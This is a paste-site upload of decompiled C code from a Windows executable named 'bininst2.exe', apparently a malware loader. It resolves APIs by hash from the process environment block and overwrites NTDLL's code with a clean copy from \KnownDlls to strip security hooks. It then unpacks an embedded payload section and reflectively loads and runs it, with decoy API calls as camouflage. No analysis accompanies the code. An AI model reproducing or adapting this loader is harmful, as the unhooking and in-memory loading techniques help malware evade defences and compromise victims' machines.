bininst2.exe decompiled

 avatar
unknown
plain_text
6 days ago
89 kB
5
Indexable
#include "out.h"



void __cdecl free(void *_Memory)

{
  HANDLE hHeap;
  
                    // 0x1000  1  free
  hHeap = GetProcessHeap();
                    // WARNING: Could not recover jumptable at 0x00014000101c. Too many branches
                    // WARNING: Treating indirect jump as call
  HeapFree(hHeap,0,_Memory);
  return;
}



undefined8 FUN_140001030(longlong *param_1,longlong param_2,ulonglong *param_3)

{
  longlong lVar1;
  ulonglong uVar2;
  int local_res8;
  
  uVar2 = param_1[1];
  if (*param_3 <= (ulonglong)param_1[1]) {
    uVar2 = *param_3;
  }
  if (uVar2 != 0) {
    lVar1 = *param_1;
    local_res8 = 0;
    if (uVar2 != 0) {
      do {
        *(undefined *)(local_res8 + param_2) = *(undefined *)(local_res8 + lVar1);
        local_res8 = local_res8 + 1;
      } while ((ulonglong)(longlong)local_res8 < uVar2);
    }
    *param_1 = *param_1 + uVar2;
    param_1[1] = param_1[1] - uVar2;
  }
  *param_3 = uVar2;
  return 0;
}



void * __cdecl malloc(size_t _Size)

{
  HANDLE hHeap;
  LPVOID pvVar1;
  
                    // 0x10a0  2  malloc
  hHeap = GetProcessHeap();
                    // WARNING: Could not recover jumptable at 0x0001400010bf. Too many branches
                    // WARNING: Treating indirect jump as call
  pvVar1 = HeapAlloc(hHeap,8,_Size);
  return pvVar1;
}



longlong FUN_1400010d0(longlong param_1,longlong param_2,ulonglong param_3)

{
  undefined4 local_res8;
  
  local_res8 = 0;
  if (param_3 != 0) {
    do {
      *(undefined *)(local_res8 + param_1) = *(undefined *)(local_res8 + param_2);
      local_res8 = local_res8 + 1;
    } while ((ulonglong)(longlong)local_res8 < param_3);
  }
  return param_1;
}



undefined * FUN_140001120(undefined *param_1,undefined param_2,longlong param_3)

{
  undefined *puVar1;
  
  puVar1 = param_1;
  if (param_3 != 0) {
    for (; param_3 != 0; param_3 = param_3 + -1) {
      *puVar1 = param_2;
      puVar1 = puVar1 + 1;
    }
  }
  return param_1;
}



ulonglong FUN_140001150(longlong param_1,longlong param_2,ulonglong param_3)

{
  longlong lVar1;
  void *pvVar2;
  int local_res8;
  
  if (param_3 != 0) {
    pvVar2 = realloc(*(void **)(param_1 + 0x10),*(longlong *)(param_1 + 0x18) + param_3);
    lVar1 = *(longlong *)(param_1 + 0x18);
    *(void **)(param_1 + 0x10) = pvVar2;
    local_res8 = 0;
    if (param_3 != 0) {
      do {
        *(undefined *)((longlong)pvVar2 + local_res8 + lVar1) = *(undefined *)(local_res8 + param_2)
        ;
        local_res8 = local_res8 + 1;
      } while ((ulonglong)(longlong)local_res8 < param_3);
    }
    *(longlong *)(param_1 + 0x18) = *(longlong *)(param_1 + 0x18) + param_3;
  }
  return param_3;
}



void * __cdecl realloc(void *_Memory,size_t _NewSize)

{
  HANDLE pvVar1;
  LPVOID pvVar2;
  SIZE_T SVar3;
  int local_res10;
  
                    // 0x11e0  3  realloc
  if (_NewSize == 0) {
    return (void *)0x0;
  }
  if (_Memory != (void *)0x0) {
    pvVar1 = GetProcessHeap();
    SVar3 = HeapSize(pvVar1,0,_Memory);
    if (SVar3 != _NewSize) {
      pvVar1 = GetProcessHeap();
      pvVar2 = HeapAlloc(pvVar1,8,_NewSize);
      local_res10 = 0;
      if (SVar3 != 0) {
        do {
          *(undefined *)((longlong)local_res10 + (longlong)pvVar2) =
               *(undefined *)((longlong)local_res10 + (longlong)_Memory);
          local_res10 = local_res10 + 1;
        } while ((ulonglong)(longlong)local_res10 < SVar3);
      }
      if (SVar3 >> 2 != 0) {
        FUN_140001120((undefined *)_Memory,0,(SVar3 >> 2) << 2);
      }
      pvVar1 = GetProcessHeap();
      HeapFree(pvVar1,0,_Memory);
      return pvVar2;
    }
    return _Memory;
  }
  pvVar1 = GetProcessHeap();
                    // WARNING: Could not recover jumptable at 0x000140001220. Too many branches
                    // WARNING: Treating indirect jump as call
  pvVar2 = HeapAlloc(pvVar1,8,_NewSize);
  return pvVar2;
}



ulonglong FUN_140001300(int param_1,undefined8 param_2,undefined8 param_3,undefined8 *param_4,
                       undefined8 *param_5)

{
  LPVOID lpMem;
  ulonglong uVar1;
  HANDLE hHeap;
  ulonglong uVar2;
  undefined *local_res10;
  undefined8 local_28;
  undefined8 local_20;
  LPVOID local_18;
  undefined8 local_10;
  
  local_res10 = FUN_1400022a0();
  local_18 = (LPVOID)0x0;
  local_10 = 0;
  local_28 = param_2;
  local_20 = param_3;
  uVar1 = FUN_140002320((longlong)local_res10,FUN_140001030,&local_28,FUN_140001150,&local_28,
                        param_1);
  lpMem = local_18;
  uVar2 = uVar1 & 0xffffffff;
  if ((int)uVar1 == 0) {
    FUN_1400022f0(&local_res10);
    *param_4 = local_18;
    *param_5 = local_10;
    uVar2 = 0;
  }
  else {
    if (local_18 != (LPVOID)0x0) {
      hHeap = GetProcessHeap();
      HeapFree(hHeap,0,lpMem);
    }
    FUN_1400022f0(&local_res10);
  }
  return uVar2;
}



int __cdecl strncmp(char *_Str1,char *_Str2,size_t _MaxCount)

{
  char cVar1;
  int iVar2;
  char *pcVar3;
  char cVar4;
  
                    // 0x13e0  4  strncmp
  cVar1 = *_Str1;
  cVar4 = *_Str2;
  if (cVar1 == cVar4) {
    pcVar3 = _Str2;
    do {
      if (cVar1 == '\0') {
        return 0;
      }
      cVar1 = pcVar3[(longlong)(_Str1 + (1 - (longlong)_Str2))];
      pcVar3 = pcVar3 + 1;
      cVar4 = *pcVar3;
    } while (cVar1 == cVar4);
  }
  iVar2 = 1;
  if (cVar1 < cVar4) {
    iVar2 = -1;
  }
  return iVar2;
}



longlong FUN_140001420(short *param_1,char *param_2,longlong param_3)

{
  char cVar1;
  int iVar2;
  
  iVar2 = (int)param_3;
  do {
    iVar2 = iVar2 + -1;
    if (iVar2 < 0) {
      return param_3 - iVar2;
    }
    cVar1 = *param_2;
    param_2 = param_2 + 1;
    *param_1 = (short)cVar1;
    param_1 = param_1 + 1;
  } while (cVar1 != 0);
  return (param_3 - iVar2) + -1;
}



ulonglong FUN_140001460(char *param_1)

{
  ulonglong uVar1;
  ulonglong uVar2;
  ulonglong uVar3;
  
  uVar1 = FUN_140001540(param_1);
  uVar2 = uVar1;
  uVar3 = 0;
  if (uVar1 != 0) {
    while (uVar2 = uVar3, param_1[uVar2] != '.') {
      uVar3 = (ulonglong)((int)uVar2 + 1);
      if (uVar1 <= uVar3) {
        return uVar3;
      }
    }
  }
  return uVar2;
}



uint FUN_1400014b0(char *param_1)

{
  char cVar1;
  ulonglong uVar2;
  int iVar3;
  uint uVar4;
  
  uVar4 = 0;
  uVar2 = FUN_140001540(param_1);
  iVar3 = 0;
  if (uVar2 != 0) {
    do {
      cVar1 = *param_1;
      param_1 = param_1 + 1;
      iVar3 = iVar3 + 1;
      uVar4 = (uVar4 >> 7 | uVar4 << 0x19) + (int)cVar1;
    } while ((ulonglong)(longlong)iVar3 < uVar2);
  }
  return uVar4;
}



void FUN_140001500(short *param_1,longlong param_2)

{
  uint uVar1;
  longlong lVar2;
  
  *(longlong *)(param_1 + 4) = param_2;
  if (param_2 != 0) {
    lVar2 = -1;
    do {
      lVar2 = lVar2 + 1;
    } while (*(short *)(param_2 + lVar2 * 2) != 0);
    uVar1 = (int)lVar2 * 2;
    if (0xfffc < uVar1) {
      uVar1 = 0xfffc;
    }
    *param_1 = (short)uVar1;
    param_1[1] = (short)uVar1 + 2;
    return;
  }
  param_1[0] = 0;
  param_1[1] = 0;
  return;
}



longlong FUN_140001540(char *param_1)

{
  char cVar1;
  char *pcVar2;
  
  cVar1 = *param_1;
  pcVar2 = param_1;
  while (cVar1 != '\0') {
    pcVar2 = pcVar2 + 1;
    cVar1 = *pcVar2;
  }
  return (longlong)pcVar2 - (longlong)param_1;
}



longlong FUN_140001560(short *param_1)

{
  short sVar1;
  short *psVar2;
  
  sVar1 = *param_1;
  psVar2 = param_1;
  while (sVar1 != 0) {
    psVar2 = psVar2 + 1;
    sVar1 = *psVar2;
  }
  return (longlong)psVar2 - (longlong)param_1 >> 1;
}



uint FUN_140001590(uint param_1)

{
  if ((byte)((char)param_1 + 0x9fU) < 0x1a) {
    return param_1 - 0x20;
  }
  return param_1 & 0xff;
}



void FUN_1400015a0(undefined *param_1,ulonglong param_2)

{
  if (param_2 >> 2 != 0) {
    FUN_140001120(param_1,0,(param_2 >> 2) << 2);
    return;
  }
  return;
}



short * FUN_1400015c0(short *param_1,short *param_2)

{
  short sVar1;
  longlong lVar2;
  
  if ((param_1 != (short *)0x0) && (param_2 != (short *)0x0)) {
    sVar1 = *param_1;
    while (sVar1 != 0) {
      param_1 = param_1 + 1;
      sVar1 = *param_1;
    }
    sVar1 = *param_2;
    if (sVar1 != 0) {
      lVar2 = (longlong)param_2 - (longlong)param_1;
      do {
        *param_1 = sVar1;
        param_1 = param_1 + 1;
        sVar1 = *(short *)(lVar2 + (longlong)param_1);
      } while (sVar1 != 0);
    }
    *param_1 = 0;
  }
  return param_1;
}



short * FUN_140001610(short *param_1,short *param_2)

{
  short *psVar1;
  short sVar2;
  
  if (((param_1 != (short *)0x0) && (param_2 != (short *)0x0)) && (param_1 != param_2)) {
    sVar2 = *param_2;
    psVar1 = param_1;
    if (sVar2 != 0) {
      do {
        *psVar1 = sVar2;
        psVar1 = psVar1 + 1;
        sVar2 = *(short *)(((longlong)param_2 - (longlong)param_1) + (longlong)psVar1);
      } while (sVar2 != 0);
    }
    *psVar1 = 0;
  }
  return param_1;
}



undefined8 FUN_140001650(char *param_1)

{
  short sVar1;
  undefined8 *puVar2;
  short *psVar3;
  uint uVar4;
  uint uVar5;
  ulonglong uVar6;
  char local_128 [272];
  
  if (param_1 != (char *)0x0) {
    for (puVar2 = *(undefined8 **)(*(longlong *)((longlong)ProcessEnvironmentBlock + 0x18) + 0x20);
        (puVar2 != (undefined8 *)0x0 && (psVar3 = (short *)puVar2[10], psVar3 != (short *)0x0));
        puVar2 = (undefined8 *)*puVar2) {
      if (*(ushort *)(puVar2 + 9) < 0x103) {
        FUN_140001120(local_128,0,0x104);
        uVar6 = 0;
        sVar1 = *psVar3;
        while ((sVar1 != 0 && ((uint)uVar6 < 0x103))) {
          uVar4 = FUN_140001590((uint)*(byte *)(psVar3 + uVar6));
          psVar3 = (short *)puVar2[10];
          local_128[uVar6] = (char)uVar4;
          uVar6 = (ulonglong)((uint)uVar6 + 1);
          sVar1 = psVar3[uVar6];
        }
        local_128[uVar6] = '\0';
        uVar4 = FUN_1400014b0(param_1);
        uVar5 = FUN_1400014b0(local_128);
        if (uVar5 == uVar4) {
          return puVar2[4];
        }
      }
    }
  }
  return 0;
}



char * FUN_140001730(longlong param_1,uint param_2)

{
  uint uVar1;
  uint uVar2;
  longlong lVar3;
  ulonglong uVar4;
  ulonglong uVar5;
  char *pcVar6;
  uint *puVar7;
  int iVar8;
  ushort *puVar9;
  longlong lVar10;
  char local_248 [272];
  char local_138 [272];
  
  if ((param_1 != 0) && (param_2 != 0)) {
    lVar10 = (longlong)*(int *)(param_1 + 0x3c);
    lVar3 = (ulonglong)*(uint *)(lVar10 + 0x88 + param_1) + param_1;
    uVar2 = *(uint *)(lVar3 + 0x1c);
    puVar7 = (uint *)((ulonglong)*(uint *)(lVar3 + 0x20) + param_1);
    iVar8 = *(int *)(lVar3 + 0x18);
    puVar9 = (ushort *)((ulonglong)*(uint *)(lVar3 + 0x24) + param_1);
    while (iVar8 != 0) {
      iVar8 = iVar8 + -1;
      uVar1 = FUN_1400014b0((char *)((ulonglong)*puVar7 + param_1));
      if (uVar1 == param_2) {
        uVar1 = *(uint *)(lVar10 + 0x88 + param_1);
        uVar2 = *(uint *)((ulonglong)uVar2 + param_1 + (ulonglong)*puVar9 * 4);
        pcVar6 = (char *)((ulonglong)uVar2 + param_1);
        if (uVar2 < uVar1) {
          return pcVar6;
        }
        if (uVar1 + *(int *)(lVar10 + 0x8c + param_1) < uVar2) {
          return pcVar6;
        }
        FUN_140001120(local_248,0,0x104);
        FUN_140001120(local_138,0,0x104);
        uVar4 = FUN_140001460(pcVar6);
        if ((int)uVar4 == 0) {
          return (char *)0x0;
        }
        FUN_1400010d0((longlong)local_248,(longlong)pcVar6,uVar4 & 0xffffffff);
        uVar5 = FUN_140001540(pcVar6 + (uVar4 & 0xffffffff) + 1);
        FUN_1400010d0((longlong)local_138,(longlong)(pcVar6 + (uVar4 & 0xffffffff) + 1),uVar5);
        lVar3 = FUN_140001900(local_248);
        if (lVar3 == 0) {
          return pcVar6;
        }
        uVar2 = FUN_1400014b0(local_138);
        pcVar6 = FUN_140001730(lVar3,uVar2);
        return pcVar6;
      }
      puVar7 = puVar7 + 1;
      puVar9 = puVar9 + 1;
    }
  }
  return (char *)0x0;
}



void FUN_1400018b0(void)

{
  undefined4 local_28;
  undefined4 local_24;
  undefined4 local_20;
  undefined4 local_1c;
  undefined4 local_18;
  undefined4 local_14;
  undefined4 local_10;
  
  local_28 = 0x14044ae;
  local_24 = 0xe67c7320;
  local_20 = 0xac2eda02;
  local_1c = 0xd443ec8c;
  local_18 = 0x92dd00b3;
  local_14 = 0x12d71086;
  local_10 = 0x7b3f64a4;
  FUN_140004830(7,&local_28);
  return;
}



undefined8 FUN_140001900(char *param_1)

{
  int iVar1;
  longlong lVar2;
  code *pcVar3;
  undefined8 local_res10 [3];
  short local_228;
  short local_226;
  undefined4 local_224;
  short *local_220;
  short local_218 [264];
  
  local_224 = 0;
  FUN_140001120((undefined *)local_218,0,0x208);
  local_res10[0] = 0;
  lVar2 = FUN_140001540(param_1);
  FUN_140001420(local_218,param_1,lVar2);
  lVar2 = FUN_140001560(local_218);
  local_228 = (short)lVar2 * 2;
  local_226 = local_228 + 2;
  local_220 = local_218;
  lVar2 = FUN_140001650("NTDLL.DLL");
  pcVar3 = (code *)FUN_140001730(lVar2,0xcc4c8b22);
  if (pcVar3 != (code *)0x0) {
    iVar1 = (*pcVar3)(0,0,&local_228,local_res10);
    if (-1 < iVar1) {
      return local_res10[0];
    }
  }
  return 0;
}



undefined8 FUN_1400019c0(void)

{
  int iVar1;
  longlong lVar2;
  short *psVar3;
  int *piVar4;
  uint *puVar5;
  ulonglong uVar6;
  ulonglong uVar7;
  ulonglong uVar8;
  ulonglong uVar9;
  int local_res8 [2];
  int local_res10 [2];
  undefined8 in_stack_fffffffffffffd88;
  undefined4 uVar10;
  short local_268 [8];
  undefined4 local_258 [2];
  undefined8 local_250;
  short *local_248;
  undefined4 local_240;
  undefined8 local_238;
  undefined8 uStack_230;
  short local_228 [264];
  
  uVar10 = (undefined4)((ulonglong)in_stack_fffffffffffffd88 >> 0x20);
  uVar7 = 0;
  local_res8[0] = 0;
  FUN_140001610(local_228,L"\\KnownDlls\\");
  FUN_1400015c0(local_228,L"NTDLL.DLL");
  FUN_140001500(local_268,(longlong)local_228);
  local_248 = local_268;
  local_258[0] = 0x30;
  local_250 = 0;
  local_240 = 0x40;
  local_238 = 0;
  uStack_230 = 0;
  lVar2 = FUN_140004bd0(0xc,(longlong)local_258,local_res10);
  if ((local_res10[0] < 0) || (lVar2 == -1)) {
    FUN_140001650("NTDLL.DLL");
  }
  else {
    lVar2 = FUN_140004a40(lVar2,0,0,0,CONCAT44(uVar10,2),local_res10);
    psVar3 = (short *)FUN_140001650("NTDLL.DLL");
    if (((((-1 < local_res10[0]) && (lVar2 != 0)) && (psVar3 != (short *)0x0)) &&
        ((*psVar3 == 0x5a4d &&
         (piVar4 = (int *)((longlong)*(int *)(psVar3 + 0x1e) + (longlong)psVar3), *piVar4 == 0x4550)
         ))) && (uVar6 = (ulonglong)*(ushort *)((longlong)piVar4 + 6), uVar6 != 0)) {
      puVar5 = (uint *)((longlong)piVar4 + (ulonglong)*(ushort *)(piVar4 + 5) + 0x24);
      uVar8 = uVar7;
      uVar9 = uVar7;
      do {
        if ((puVar5[-3] | 0x20202020) == 0x7865742e) {
          uVar9 = (ulonglong)puVar5[-1];
          uVar7 = (ulonglong)*puVar5 + (longlong)psVar3;
          uVar8 = (ulonglong)*puVar5 + lVar2;
        }
        puVar5 = puVar5 + 10;
        uVar6 = uVar6 - 1;
      } while (uVar6 != 0);
      if (((uVar9 != 0) && (uVar7 != 0)) &&
         ((uVar8 != 0 && (iVar1 = FUN_140004c70(0,uVar7,uVar9,0x80,local_res8), -1 < local_res8[0]))
         )) {
        FUN_1400010d0(uVar7,uVar8,uVar9);
        FUN_140004c70(0,uVar7,uVar9,iVar1,local_res8);
        if ((-1 < local_res8[0]) && (FUN_140004d60(0,lVar2,local_res8), -1 < local_res8[0])) {
          return 1;
        }
      }
    }
  }
  return 0;
}



undefined8 entry(void)

{
  uint uVar1;
  longlong lVar2;
  void *pvVar3;
  DWORD DVar4;
  uint uVar5;
  int iVar6;
  HANDLE pvVar7;
  LPVOID lpMem;
  char *pcVar8;
  ulonglong uVar9;
  longlong local_res8;
  short *local_res10;
  
  pvVar3 = ProcessEnvironmentBlock;
  pvVar7 = GetProcessHeap();
  lpMem = HeapAlloc(pvVar7,8,0x400);
  DVar4 = GetLastError();
  if (DVar4 == 0x361c) {
    ReleaseSRWLockExclusive((PSRWLOCK)0x0);
    ReleaseSRWLockShared((PSRWLOCK)0x0);
    SetCriticalSectionSpinCount((LPCRITICAL_SECTION)0x0,0);
    TryAcquireSRWLockExclusive((PSRWLOCK)0x0);
    WakeAllConditionVariable((PCONDITION_VARIABLE)0x0);
    SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)0x0);
    UnhandledExceptionFilter((_EXCEPTION_POINTERS *)0x0);
    CheckMenuItem((HMENU)0x0,0,0);
    GetMenu((HWND)0x0);
    GetSystemMenu((HWND)0x0,0);
    GetMenuItemID((HMENU)0x0,0);
    EnableMenuItem((HMENU)0x0,0,0);
    MessageBeep(0);
    GetLastError();
    MessageBoxW((HWND)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0,0);
    MessageBoxA((HWND)0x0,(LPCSTR)0x0,(LPCSTR)0x0,0);
    UpdateWindow((HWND)0x0);
    GetWindowContextHelpId((HWND)0x0);
  }
  else {
    pvVar7 = GetProcessHeap();
    HeapFree(pvVar7,0,lpMem);
  }
  if ((pvVar3 != (void *)0x0) && (*(int *)((longlong)pvVar3 + 0x118) == 10)) {
    uVar9 = 0;
    local_res10 = (short *)0x0;
    local_res8 = 0;
    lVar2 = *(longlong *)((longlong)pvVar3 + 0x10);
    iVar6 = *(int *)(lVar2 + 0x3c);
    pcVar8 = (char *)(lVar2 + 0x108 + (longlong)iVar6);
    do {
      uVar5 = FUN_1400014b0(pcVar8);
      if (uVar5 == 0x9f520b2d) {
        uVar5 = *(uint *)(pcVar8 + 0xc);
        uVar1 = *(uint *)(pcVar8 + 0x10);
        if ((ulonglong)uVar5 + lVar2 == 0) {
          return 0xffffffff;
        }
        if (uVar1 == 0) {
          return 0xffffffff;
        }
        iVar6 = FUN_1400018b0();
        if (iVar6 == 0) {
          return 0xffffffff;
        }
        uVar9 = FUN_140001300(1,(ulonglong)uVar5 + lVar2,(ulonglong)uVar1,&local_res10,&local_res8);
        if ((int)uVar9 != 0) {
          return 0xffffffff;
        }
        FUN_140001dc0(local_res10,local_res8);
        return 0;
      }
      pcVar8 = pcVar8 + 0x28;
      uVar9 = uVar9 + 1;
    } while (uVar9 <= *(ushort *)((longlong)iVar6 + 6 + lVar2));
  }
  return 0xffffffff;
}



void FUN_140001dc0(short *param_1,longlong param_2)

{
  undefined8 *puVar1;
  ushort uVar2;
  undefined8 *puVar3;
  ushort uVar4;
  uint uVar5;
  undefined *puVar6;
  longlong lVar7;
  longlong lVar8;
  char *pcVar9;
  code *pcVar10;
  longlong *plVar11;
  uint *puVar12;
  uint uVar13;
  longlong *plVar15;
  longlong *plVar16;
  uint *puVar17;
  ulonglong uVar18;
  int *piVar19;
  undefined8 in_stack_ffffffffffffff58;
  ulonglong uVar14;
  
  uVar13 = (uint)((ulonglong)in_stack_ffffffffffffff58 >> 0x20);
  if ((((param_1 != (short *)0x0) && (uVar18 = 0, param_2 != 0)) && (*param_1 == 0x5a4d)) &&
     (piVar19 = (int *)((longlong)*(int *)(param_1 + 0x1e) + (longlong)param_1), *piVar19 == 0x4550)
     ) {
    if ((((piVar19 != (int *)0x0) && ((uint *)(piVar19 + 0x24) != (uint *)0x0)) &&
        ((piVar19 != (int *)0xffffffffffffff30 &&
         (((uint *)(piVar19 + 0x2c) != (uint *)0x0 && (piVar19 != (int *)0xffffffffffffff60)))))) &&
       (piVar19 != (int *)0xfffffffffffffef8)) {
      FUN_140004d60(0,*(longlong *)(piVar19 + 0xc),(undefined4 *)0x0);
      puVar6 = (undefined *)
               FUN_1400048d0(0,*(longlong *)(piVar19 + 0xc),(ulonglong)(uint)piVar19[0x14],0,
                             (ulonglong)uVar13 << 0x20,(undefined4 *)0x0);
      if ((puVar6 != (undefined *)0x0) ||
         (puVar6 = (undefined *)FUN_140004a00((ulonglong)(uint)piVar19[0x14],(undefined4 *)0x0),
         puVar6 != (undefined *)0x0)) {
        FUN_1400010d0((longlong)puVar6,(longlong)param_1,(ulonglong)(uint)piVar19[0x15]);
        if (*(short *)((longlong)piVar19 + 6) != 0) {
          puVar12 = (uint *)(piVar19 + 0x47);
          uVar14 = uVar18;
          do {
            FUN_1400010d0((longlong)(puVar6 + puVar12[-2]),(ulonglong)*puVar12 + (longlong)param_1,
                          (ulonglong)puVar12[-1]);
            puVar12 = puVar12 + 10;
            uVar13 = (int)uVar14 + 1;
            uVar14 = (ulonglong)uVar13;
          } while ((int)uVar13 < (int)(uint)*(ushort *)((longlong)piVar19 + 6));
        }
        if (piVar19[0x25] != 0) {
          do {
            lVar7 = (uint)piVar19[0x24] + uVar18;
            uVar13 = *(uint *)(puVar6 + lVar7);
            if ((uVar13 == 0) && (*(int *)(puVar6 + lVar7 + 0x10) == 0)) break;
            uVar14 = (ulonglong)*(uint *)(puVar6 + lVar7 + 0x10);
            lVar8 = FUN_140001900(puVar6 + *(uint *)(puVar6 + lVar7 + 0xc));
            if (lVar8 == 0) {
              return;
            }
            if (uVar13 == 0) {
              uVar13 = *(uint *)(puVar6 + lVar7 + 0x10);
            }
            plVar11 = (longlong *)(puVar6 + uVar13);
            if (*(longlong *)(puVar6 + uVar14) != 0) {
              plVar15 = (longlong *)(puVar6 + uVar14);
              do {
                lVar7 = *plVar11;
                if (lVar7 < 0) {
                  pcVar9 = (char *)((ulonglong)
                                    *(uint *)((ulonglong)
                                              *(uint *)((ulonglong)
                                                        *(uint *)((longlong)*(int *)(lVar8 + 0x3c) +
                                                                  0x88 + lVar8) + 0x1c + lVar8) +
                                              lVar8 + lVar7 * 4) + lVar8);
                }
                else {
                  uVar5 = FUN_1400014b0(puVar6 + lVar7 + 2);
                  pcVar9 = FUN_140001730(lVar8,uVar5);
                }
                if (pcVar9 == (char *)0x0) {
                  return;
                }
                plVar16 = plVar15 + 1;
                *plVar15 = (longlong)pcVar9;
                plVar11 = (longlong *)((uVar13 - uVar14) + (longlong)plVar16);
                plVar15 = plVar16;
              } while (*plVar16 != 0);
            }
            uVar18 = uVar18 + 0x14;
          } while (uVar18 < (uint)piVar19[0x25]);
        }
        if (puVar6 != *(undefined **)(piVar19 + 0xc)) {
          lVar7 = (longlong)puVar6 - (longlong)*(undefined **)(piVar19 + 0xc);
          uVar13 = *(uint *)(puVar6 + (uint)piVar19[0x2c]);
          puVar12 = (uint *)(puVar6 + (uint)piVar19[0x2c]);
          while (uVar13 != 0) {
            puVar17 = puVar12 + 2;
            if (puVar17 != (uint *)((ulonglong)puVar12[1] + (longlong)puVar12)) {
              do {
                uVar2 = *(ushort *)puVar17;
                uVar13 = (uint)uVar2;
                uVar4 = uVar2 >> 0xc;
                if (uVar4 != 0) {
                  if (uVar4 == 1) {
                    *(short *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) =
                         *(short *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) +
                         (short)((ulonglong)lVar7 >> 0x10);
                  }
                  else if (uVar4 == 2) {
                    *(short *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) =
                         *(short *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) +
                         (short)lVar7;
                  }
                  else if (uVar4 == 3) {
                    *(int *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) =
                         *(int *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) +
                         (int)lVar7;
                  }
                  else {
                    if (uVar4 != 10) {
                      return;
                    }
                    *(longlong *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar2 & 0xfff)) =
                         *(longlong *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar2 & 0xfff)) +
                         lVar7;
                  }
                }
                puVar17 = (uint *)((longlong)puVar17 + 2);
              } while (puVar17 != (uint *)((ulonglong)puVar12[1] + (longlong)puVar12));
            }
            puVar12 = puVar17;
            uVar13 = *puVar17;
          }
        }
        if (piVar19[0x29] != 0) {
          uVar13 = piVar19[0x28];
          lVar7 = FUN_140001650("KERNEL32.DLL");
          pcVar10 = (code *)FUN_140001730(lVar7,0x9219585c);
          if (pcVar10 != (code *)0x0) {
            (*pcVar10)(puVar6 + uVar13,(uint)piVar19[0x29] / 0xc - 1,puVar6);
          }
        }
        FUN_1400019c0();
        uVar18 = 0;
        if (*(short *)((longlong)piVar19 + 6) != 0) {
          do {
            uVar13 = piVar19[uVar18 * 10 + 0x4b];
            uVar5 = (int)uVar13 >> 0x1f & 8;
            if ((uVar13 >> 0x1e & 1) != 0) {
              uVar5 = 2;
            }
            if ((uVar13 & 0xc0000000) == 0xc0000000) {
              uVar5 = 4;
            }
            if ((uVar13 >> 0x1d & 1) != 0) {
              uVar5 = 0x10;
            }
            if ((uVar13 & 0xa0000000) == 0xa0000000) {
              uVar5 = 0x80;
            }
            if ((uVar13 & 0x60000000) == 0x60000000) {
              uVar5 = 0x20;
            }
            if ((uVar13 & 0xe0000000) == 0xe0000000) {
              uVar5 = 0x40;
            }
            FUN_140004c70(0,(longlong)(puVar6 + (uint)piVar19[uVar18 * 10 + 0x45]),
                          (ulonglong)(uint)piVar19[uVar18 * 10 + 0x46],uVar5,(undefined4 *)0x0);
            uVar13 = (int)uVar18 + 1;
            uVar18 = (ulonglong)uVar13;
          } while (uVar13 < *(ushort *)((longlong)piVar19 + 6));
        }
        if (piVar19[0x35] != 0) {
          puVar3 = *(undefined8 **)(puVar6 + (ulonglong)(uint)piVar19[0x34] + 0x18);
          pcVar10 = (code *)*puVar3;
          while (pcVar10 != (code *)0x0) {
            (*pcVar10)(puVar6,1);
            puVar1 = puVar3 + 1;
            puVar3 = puVar3 + 1;
            pcVar10 = (code *)*puVar1;
          }
        }
        uVar13 = piVar19[10];
        FUN_1400015a0(puVar6,(ulonglong)(uint)piVar19[0x45]);
        (*(code *)(puVar6 + uVar13))();
      }
    }
  }
  return;
}



undefined * FUN_1400022a0(void)

{
  undefined *puVar1;
  
  puVar1 = (undefined *)malloc(0x50030);
  FUN_140001120(puVar1,0,0x50030);
  FUN_1400042f0((undefined8 *)(puVar1 + 0x50000),0,0,0,0);
  return puVar1;
}



void FUN_1400022f0(undefined8 *param_1)

{
  if ((void *)*param_1 != (void *)0x0) {
    free((void *)*param_1);
  }
  *param_1 = 0;
  return;
}



ulonglong FUN_140002320(longlong param_1,undefined *param_2,undefined8 param_3,undefined *param_4,
                       undefined8 param_5,int param_6)

{
  undefined8 *puVar1;
  int iVar2;
  bool bVar3;
  int iVar4;
  uint uVar5;
  ulonglong *puVar6;
  ulonglong uVar7;
  undefined7 extraout_var;
  ulonglong uVar8;
  ulonglong *puVar9;
  ulonglong uVar10;
  ulonglong uVar11;
  ulonglong local_188;
  ulonglong local_180;
  ulonglong local_178 [2];
  uint local_168 [2];
  ulonglong local_160;
  undefined local_158 [3];
  char local_155;
  ulonglong local_150;
  uint local_140 [2];
  code *local_138;
  code *local_130;
  uint local_120;
  code *local_110;
  undefined8 local_108;
  undefined8 uStack_100;
  undefined8 local_f8;
  undefined8 uStack_f0;
  undefined8 local_e8;
  undefined8 uStack_e0;
  undefined8 local_d8;
  undefined8 uStack_d0;
  undefined8 local_c8;
  undefined8 uStack_c0;
  undefined8 local_b8;
  undefined8 uStack_b0;
  undefined8 local_a8;
  undefined8 uStack_a0;
  undefined8 local_98;
  undefined8 uStack_90;
  undefined8 local_88;
  undefined4 local_78 [6];
  code *local_60;
  
  iVar2 = param_6;
  uVar7 = 0;
  uVar5 = 0xffffffff;
  if (param_6 == 1) {
    FUN_140004330(local_140);
  }
  else {
    if (param_6 != 0) {
      return 10;
    }
    FUN_1400041c0();
    FUN_140004600(local_140);
  }
  local_88 = 0;
  local_108 = 0;
  uStack_100 = 0;
  local_168[0] = 0;
  local_f8 = 0;
  uStack_f0 = 0;
  local_160 = 0;
  local_e8 = 0;
  uStack_e0 = 0;
  local_d8 = 0;
  uStack_d0 = 0;
  local_c8 = 0;
  uStack_c0 = 0;
  local_b8 = 0;
  uStack_b0 = 0;
  local_a8 = 0;
  uStack_a0 = 0;
  local_98 = 0;
  uStack_90 = 0;
  FUN_140003ae0((longlong)&local_108);
  puVar1 = (undefined8 *)(param_1 + 0x50000);
  puVar6 = (ulonglong *)(*(code *)*puVar1)(puVar1,local_140[0]);
  local_188 = (ulonglong)local_140[0];
  (*local_138)(local_158);
  iVar4 = (*(code *)param_2)(param_3,puVar6,&local_188);
  if ((iVar4 == 0) && (local_188 == local_140[0])) {
    iVar4 = (*local_130)(puVar6,local_158);
    if (iVar4 == 0) {
      puVar9 = puVar6;
      if (iVar2 == 0) {
